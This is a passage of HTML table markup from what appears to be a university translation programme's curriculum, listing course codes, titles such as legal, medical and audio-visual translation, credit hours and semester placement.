width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 310</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Theory of translation</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN\r\n  315</strong></p>\r\n  <p><strong>TRN\r\n  335 ENGL 450</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Legal and court\r\n  translation </strong><strong>(4 hours)</strong></p>\r\n  <p><strong>Medical\r\n  translation </strong></p>\r\n  <p><strong>Cross\r\n  cultural Communication (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Written\r\n  translation </strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 380</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation\r\n  of Oil and Gas Materials (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENG</strong><strong>L 326</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>British Studies </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>15</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>VII\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <p><strong>VIII\r\n  semester (Spring)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 420</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Documentation\r\n  and Terminology Studies (4 hours)</strong><strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Internship</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>TRN 480</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>CAT\r\n  Tools translation</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN\r\n  410</strong></p>\r\n  <p><strong>TRN\r\n  490</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Proverbs.\r\n  Sayings. Idioms (4 hours)</strong></p>\r\n  <p><strong>Audio-visual translation (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 420</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Economic translation (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 460</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Oral translation &nbsp;&nbsp;(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 440</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Consecutive translation and note\r\n  taking techniques (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 425</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation of literary texts (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN\r\n  400</strong></p>\r\n  <p><strong>ENGL 212</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Translation\r\n  of Mass Media Materials </strong></p>\r\n  <p><strong>(4\r\n  hours)</strong></p>\r\n  <p>Current Events </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 465</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Sight Translation </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 450</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Social-Political Translation (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  